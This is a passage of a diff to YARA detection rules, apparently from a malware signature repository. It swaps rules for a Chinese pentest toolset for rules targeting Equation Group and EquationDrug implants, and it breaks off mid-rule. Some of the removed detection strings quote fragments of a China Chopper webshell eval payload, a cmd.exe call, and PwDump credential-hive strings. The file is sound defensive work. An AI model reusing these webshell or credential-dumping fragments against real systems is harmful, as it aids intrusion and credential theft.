+		id = "09ffe270-39e7-5225-b4a9-1c8d312a09c1"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L414-L431"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "96ee5c98e982aa8ed92cb4cedb85c7fda873740f"
-		logic_hash = "0f7630b2ec983df2a065b049000cef6de38f884254748a342b2fd84d8c5985af"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L279-L297"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
+		logic_hash = "65800e5f122dce1dd4473bc8cebce0f9258b38d570118b154dbaf6939b68f925"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "http://www.md5.com.cn" fullword wide
-		$s2 = "ListBox_Command" fullword wide
-		$s3 = "\\Set.ini" wide
-		$s4 = "OpenFileDialog1" fullword wide
+		$s0 = "nls_933w.dll" fullword ascii
+		$s1 = "BINARY" fullword wide
+		$s2 = "KfAcquireSpinLock" fullword ascii
+		$s3 = "HAL.dll" fullword ascii
+		$s4 = "READ_REGISTER_UCHAR" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <740KB and all of them
+		uint16(0)==0x5a4d and filesize <300000 and all of ($s*)
 }
-rule SIGNATURE_BASE_CN_Honker_Havij_Havij : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_EOP_Package : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Havij.exe"
+		description = "Equation Group Malware - EoP package and malware launcher"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b3640a32-b546-58c9-abb1-3da60dc6633c"
-		date = "2015-06-23"
+		id = "2eb97873-a415-57be-a8fb-70ef86a99c9b"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L433-L448"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0d8b275bd1856bc6563dd731956f3b312e1533cd"
-		logic_hash = "e8aff3e1e536cd35b10bdaab4818542bce284e7ed3aa7ef1920763669faf4c8a"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L299-L318"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2bd1b1f5b4384ce802d5d32d8c8fd3d1dc04b962"
+		logic_hash = "abbc562b8e822422ae1852a5675a680e797a6af0be5581a8482785bd0c1ad1bf"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "User-Agent: %Inject_Here%" fullword wide
-		$s2 = "BACKUP database master to disk='d:\\Inetpub\\wwwroot\\1.zip'" fullword ascii
+		$s0 = "abababababab" fullword ascii
+		$s1 = "abcdefghijklmnopq" fullword ascii
+		$s2 = "@STATIC" fullword wide
+		$s3 = "$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" fullword ascii
+		$s4 = "@prkMtx" fullword wide
+		$s5 = "prkMtx" fullword wide
+		$s6 = "cnFormVoidFBC" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and all of them
+		uint16(0)==0x5a4d and filesize <100000 and all of ($s*)
 }
-rule SIGNATURE_BASE_CN_Honker_Exp_Ms11011 : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_Triplefantasy_Loader : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ms11011.exe"
+		description = "Equation Group Malware - TripleFantasy Loader"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fc092166-73cd-58f6-b034-a2fe2c5fb859"
-		date = "2015-06-23"
+		id = "562e7855-f011-5985-91c0-622b2fec32f8"
+		date = "2015-02-16"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L450-L468"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5ad7a4962acbb6b0e3b73d77385eb91feb88b386"
-		logic_hash = "f92d71f163a49a158d85b821d71fd17e84e0d3deb19515ae0cf6a063a05c027b"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L320-L342"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4ce6e77a11b443cc7cbe439b71bf39a39d3d7fa3"
+		logic_hash = "f49735a587085e95f1a8e405e42e5ff3eb4beda1f26c7b4c3c0a33bec21f48c7"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\i386\\Hello.pdb" ascii
-		$s1 = "OS not supported." fullword ascii
-		$s2 = ".Rich5" fullword ascii
-		$s3 = "Not supported." fullword wide
-		$s5 = "cmd.exe" fullword ascii
+		$x1 = "Original Innovations, LLC" fullword wide
+		$x2 = "Moniter Resource Protocol" fullword wide
+		$x3 = "ahlhcib.dll" fullword wide
+		$s0 = "hnetcfg.HNetGetSharingServicesPage" fullword ascii
+		$s1 = "hnetcfg.IcfGetOperationalMode" fullword ascii
+		$s2 = "hnetcfg.IcfGetDynamicFwPorts" fullword ascii
+		$s3 = "hnetcfg.HNetFreeFirewallLoggingSettings" fullword ascii
+		$s4 = "hnetcfg.HNetGetShareAndBridgeSettings" fullword ascii
+		$s5 = "hnetcfg.HNetGetFirewallSettingsPage" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <50000 and ( all of ($x*) and all of ($s*))
 }
-rule SIGNATURE_BASE_CN_Honker_DLL_Passive_Privilege_Escalation_Ws2Help : FILE
+rule SIGNATURE_BASE_Equation_Kaspersky_Suspiciousstring : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ws2help.dll"
+		description = "Equation Group Malware - suspicious string found in sample"
 		author = "Florian Roth (Nextron Systems)"
-		id = "85a07bb7-2856-56f0-bd15-e020bb2a7692"
-		date = "2015-06-23"
+		id = "a5f203a7-0c50-5658-89f4-44533ed4eef0"
+		date = "2015-02-17"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L470-L485"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e539b799c18d519efae6343cff362dcfd8f57f69"
-		logic_hash = "e13f33e48d5c1aeaef6c50287f74e03fb7b65667d597768d448e76f5a375b34f"
-		score = 70
+		reference = "http://goo.gl/ivt8EW"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L346-L364"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd7f72c2263a3af9b8c9072b415a3b066e821e000b52ddd684ecb6b80a99067a"
+		score = 60
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "PassMinDll.dll" fullword ascii
-		$s1 = "\\ws2help.dll" ascii
+		$s1 = "i386\\DesertWinterDriver.pdb" fullword
+		$s2 = "Performing UR-specific post-install..."
+		$s3 = "Timeout waiting for the \"canInstallNow\" event from the implant-specific EXE!"
+		$s4 = "STRAITSHOOTER30.exe"
+		$s5 = "standalonegrok_2.1.1.1"
+		$s6 = "c:\\users\\rmgree5\\"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and all of them
+		uint16(0)==0x5a4d and filesize <500000 and all of ($s*)
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell : FILE
+rule SIGNATURE_BASE_Equationdrug_Networksniffer1
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Webshell.exe"
+		description = "EquationDrug - Backdoor driven by network sniffer - mstcp32.sys, fat32.sys"
 		author = "Florian Roth (Nextron Systems)"
-		id = "12870766-2b85-522d-9ad8-abba2786caaf"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L487-L503"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c85bd09d241c2a75b4e4301091aa11ddd5ad6d59"
-		logic_hash = "d48a10313afcb5a2084229937703bbc11958a5cd11f8f27fbc8dae15ddfd5ed1"
-		score = 70
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		id = "21a500e7-3011-50e6-b685-f4f65d6dee17"
+		date = "2015-03-11"
+		modified = "2023-01-06"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L368-L388"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "26e787997a338d8111d96c9a4c103cf8ff0201ce"
+		logic_hash = "ec90cba3b790c52f475a08b586f5af5a88ec46cfcf8abd74435981a34dfdb3f7"
+		score = 75
+		quality = 35
+		tags = ""
 
 	strings:
-		$s1 = "Windows NT users: Please note that having the WinIce/SoftIce" fullword ascii
-		$s2 = "Do you want to cancel the file download?" fullword ascii
-		$s3 = "Downloading: %s" fullword ascii
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "\\Registry\\User\\CurrentUser\\" wide
+		$s3 = "sys\\mstcp32.dbg" fullword ascii
+		$s7 = "mstcp32.sys" fullword wide
+		$s8 = "p32.sys" fullword ascii
+		$s9 = "\\Device\\%ws_%ws" wide
+		$s10 = "\\DosDevices\\%ws" wide
+		$s11 = "\\Device\\%ws" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <381KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Aspxclient : FILE
+rule SIGNATURE_BASE_Equationdrug_Compatlayer_Unilaydll : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file AspxClient.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7e38365c-ffe5-5fcd-8bd6-948d255d6e10"
-		date = "2015-06-23"
-		modified = "2022-12-21"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L505-L523"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "67569a89128f503a459eab3daa2032261507f2d2"
-		logic_hash = "4d0a93434673952fed38e384db526275b9eb32bac9a207c91f792d4d113c40f1"
-		score = 70
+		description = "EquationDrug - Unilay.DLL"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "32fd31c7-cc44-50e1-8888-b9da59ce587b"
+		date = "2015-03-11"
+		modified = "2023-12-05"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L390-L402"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a3a31937956f161beba8acac35b96cb74241cd0f"
+		logic_hash = "86434bd0456ea0c9ac9ed74dc3cf63520eb6b880dd4ea7920d0e82873dfec21e"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\\tools\\hashq\\hashq.exe" wide
-		$s2 = "\\Release\\CnCerT.CCdoor.Client.pdb" ascii
-		$s3 = "\\myshell.mdb" wide
-		$s4 = "injectfile" fullword wide
+		$s0 = "unilay.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 3 of them
+		uint16(0)==0x5a4d and $s0
 }
-rule SIGNATURE_BASE_CN_Honker_Fckeditor : FILE
+rule SIGNATURE_BASE_Equationdrug_HDDSSD_Op
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Fckeditor.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "eb8767cb-b081-5c37-b7ad-57a0de047462"
-		date = "2015-06-23"
+		description = "EquationDrug - HDD/SSD firmware operation - nls_933w.dll"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "e2698f10-49e8-55da-bddc-e5c887f11bc7"
+		date = "2015-03-11"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L525-L540"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4b16ae12c204f64265acef872526b27111b68820"
-		logic_hash = "0fd231fc81b2b7b5647a8016774f35751ac68646856a15c17ce4d2c07eaf1761"
-		score = 70
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L404-L416"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
+		logic_hash = "9b45b2016a15f22079c439ff33c20e49d3c846fb4dd83caf2880767ea513a6e3"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s0 = "explorer.exe http://user.qzone.qq.com/568148075" fullword wide
-		$s7 = "Fckeditor.exe" fullword wide
+		$s0 = "nls_933w.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1340KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Codeeer_Explorer : FILE
+rule SIGNATURE_BASE_Equationdrug_Networksniffer2
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Codeeer Explorer.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d4a88ae7-c0b2-57d2-a070-3dd748a30a3a"
-		date = "2015-06-23"
+		description = "EquationDrug - Network Sniffer - tdip.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "afc5ae23-4965-5796-af3b-9e2705aea455"
+		date = "2015-03-11"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L542-L557"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f32e05f3fefbaa2791dd750e4a3812581ce0f205"
-		logic_hash = "299d0181beb5032dcb327516a7526d6131e2212623ffa9e592f54f80473b098d"
-		score = 70
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L418-L437"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7e3cd36875c0e5ccb076eb74855d627ae8d4627f"
+		logic_hash = "d29744a801194e5488795a8167965b94290be477efe478ee3e71c4bc98733967"
+		score = 75
+		quality = 35
+		tags = ""
 
 	strings:
-		$s2 = "Codeeer Explorer.exe" fullword wide
-		$s12 = "webBrowser1_ProgressChanged" fullword ascii
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "IP Transport Driver" fullword wide
+		$s2 = "tdip.sys" fullword wide
+		$s3 = "sys\\tdip.dbg" fullword ascii
+		$s4 = "dip.sys" fullword ascii
+		$s5 = "\\Device\\%ws_%ws" wide
+		$s6 = "\\DosDevices\\%ws" wide
+		$s7 = "\\Device\\%ws" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <470KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Swordhonkeredition : FILE
+rule SIGNATURE_BASE_Equationdrug_Networksniffer3
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file SwordHonkerEdition.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5688fa03-bcb0-545d-9fdf-7ab48a389424"
-		date = "2015-06-23"
+		description = "EquationDrug - Network Sniffer - tdip.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "c6b1658b-cbc6-535a-a3a2-15ce3cf6e4f6"
+		date = "2015-03-11"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L559-L575"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3f9479151c2cada04febea45c2edcf5cece1df6c"
-		logic_hash = "cc18e68f7c3eff69a75333f3b605c89b024c6763f7b97e0ce20ce14bfe28df0d"
-		score = 70
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L439-L454"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "14599516381a9646cd978cf962c4f92386371040"
+		logic_hash = "18c516fe0cd74e7a02ee15260abf3d27bba992492e6042a148abdee3086a9a00"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s0 = "\\bin\\systemini\\MyPort.ini" wide
-		$s1 = "PortThread=200 //" fullword wide
-		$s2 = " Port Open -> " fullword wide
+		$s0 = "Corporation. All rights reserved." fullword wide
+		$s1 = "IP Transport Driver" fullword wide
+		$s2 = "tdip.sys" fullword wide
+		$s3 = "tdip.pdb" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <375KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_HASH_Pwdump7 : FILE
+rule SIGNATURE_BASE_Equationdrug_Volrec_Driver
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file PwDump7.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d61a1ac3-7c8a-5de2-a5a8-2a043b73f3b3"
-		date = "2015-06-23"
+		description = "EquationDrug - Collector plugin for Volrec - msrstd.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "db4f3f65-bdc4-565d-ad59-25a16ec7c9d2"
+		date = "2015-03-11"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L577-L594"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "93a2d7c3a9b83371d96a575c15fe6fce6f9d50d3"
-		logic_hash = "05f735ba3f377f71ccf3a97b3597cee7b9f36213ee2ebba19db69667529d9fac"
-		score = 70
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L456-L470"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ee2b504ad502dc3fed62d6483d93d9b1221cdd6c"
+		logic_hash = "24b8202a8590ddb1dd76e01499d02282ad40a6fd6f6b9020040381a370e91f40"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "%s\\SYSTEM32\\CONFIG\\SAM" fullword ascii
-		$s2 = "No Users key!" fullword ascii
-		$s3 = "NO PASSWORD*********************:" fullword ascii
-		$s4 = "Unable to dump file %S" fullword ascii
+		$s0 = "msrstd.sys" fullword wide
+		$s1 = "msrstd.pdb" fullword ascii
+		$s2 = "msrstd driver" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <380KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Chinachopper : FILE
+rule SIGNATURE_BASE_Equationdrug_Kernelrootkit
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ChinaChopper.exe"
+		description = "EquationDrug - Kernel mode stage 0 and rootkit (Windows 2000 and above) - msndsrv.sys"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9f7fbaac-65b5-5162-87d1-96ccd9711adb"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L596-L612"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fa347fdb23ab0b8d0560a0d20c434549d78e99b5"
-		logic_hash = "e5e6a8a17592e7c82af830153905a52f8202a65c8e2f4b09dbebb19d04e2f8d7"
-		score = 70
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		id = "92491e30-4041-5c8b-8e4e-7bc2b1d3234b"
+		date = "2015-03-11"
+		modified = "2023-01-06"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L472-L492"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "597715224249e9fb77dc733b2e4d507f0cc41af6"
+		logic_hash = "4b41af8656ada1b4db7ec11f65aeb2d335f424d8557cfa74a064b40c65627012"
+		score = 75
+		quality = 60
+		tags = ""
 
 	strings:
-		$s1 = "$m=get_magic_quotes_gpc();$sid=$m?stripslashes($_POST[\"z1\"]):$_POST[\"z1\"];$u" wide
-		$s3 = "SETP c:\\windows\\system32\\cmd.exe " fullword wide
-		$s4 = "Ev al (\"Exe cute(\"\"On+Error+Resume+Next:%s:Response.Write(\"\"\"\"->|\"\"\"\"" wide
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "Parmsndsrv.dbg" fullword ascii
+		$s2 = "\\Registry\\User\\CurrentUser\\" wide
+		$s3 = "msndsrv.sys" fullword wide
+		$s5 = "\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Control\\Windows" wide
+		$s6 = "\\Device\\%ws_%ws" wide
+		$s7 = "\\DosDevices\\%ws" wide
+		$s9 = "\\Device\\%ws" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Dedecms5_7 : FILE
+rule SIGNATURE_BASE_Equationdrug_Keylogger
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file dedecms5.7.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b037862d-2821-5e96-996b-13ab241575ba"
-		date = "2015-06-23"
+		description = "EquationDrug - Key/clipboard logger driver - msrtvd.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "57b6af34-577b-58ec-9a9e-91911c32270b"
+		date = "2015-03-11"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L614-L629"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f9cbb25883828ca266e32ff4faf62f5a9f92c5fb"
-		logic_hash = "57ff887906d3c5e7eafc900581eea7432c7a18364b0061d0e4deba0229663c65"
-		score = 70
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L494-L509"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b93aa17b19575a6e4962d224c5801fb78e9a7bb5"
+		logic_hash = "b5db0e6e24979b07cd180fed11545daef281e7b0858a7de001a83c2cbc186557"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$s1 = "/data/admin/ver.txt" fullword ascii
-		$s2 = "SkinH_EL.dll" fullword ascii
+		$s0 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" wide
+		$s2 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\En" wide
+		$s3 = "\\DosDevices\\Gk" wide
+		$s5 = "\\Device\\Gk0" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <830KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Alien_Ee : FILE
+rule SIGNATURE_BASE_Equationdrug_Platformorchestrator
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file ee.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "03540f82-6662-55e3-97f8-38776271f08b"
-		date = "2015-06-23"
+		description = "EquationDrug - Platform orchestrator - mscfg32.dll, svchost32.dll"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "ce19ed3c-9dd9-5cb0-99fe-c04fde057293"
+		date = "2015-03-11"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L631-L646"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "15a7211154ee7aca29529bd5c2500e0d33d7f0b3"
-		logic_hash = "1f40f6c53e13aeb6b44c58f6e048a35cf3fd9fb956f26d70b3fe91bcac340ab5"
-		score = 70
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_equation_fiveeyes.yar#L537-L554"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "febc4f30786db7804008dc9bc1cebdc26993e240"
